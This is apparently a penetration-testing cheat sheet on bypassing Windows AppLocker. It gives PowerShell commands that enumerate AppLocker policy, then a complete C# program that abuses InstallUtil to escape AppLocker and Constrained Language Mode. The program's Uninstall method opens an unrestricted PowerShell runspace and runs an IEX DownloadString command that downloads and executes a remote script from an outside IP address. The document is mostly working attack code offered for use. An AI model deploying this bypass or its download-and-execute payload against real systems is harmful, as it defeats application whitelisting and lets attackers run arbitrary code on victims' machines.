AppLocker Bypass

Enumeration

Check if there are any AppLocker rules:

PS > Get-AppLockerPolicy -Effective -Xml
PS > (Get-AppLockerPolicy -Local).RuleCollections
PS > Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2 -Recurse

InstallUtil

A combination of AppLocker and CLM bypass:

BypassCLM.cs
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace BypassCLM
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("These aren't the droids you're looking for.");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            string cmd = "IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/run.txt')";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}
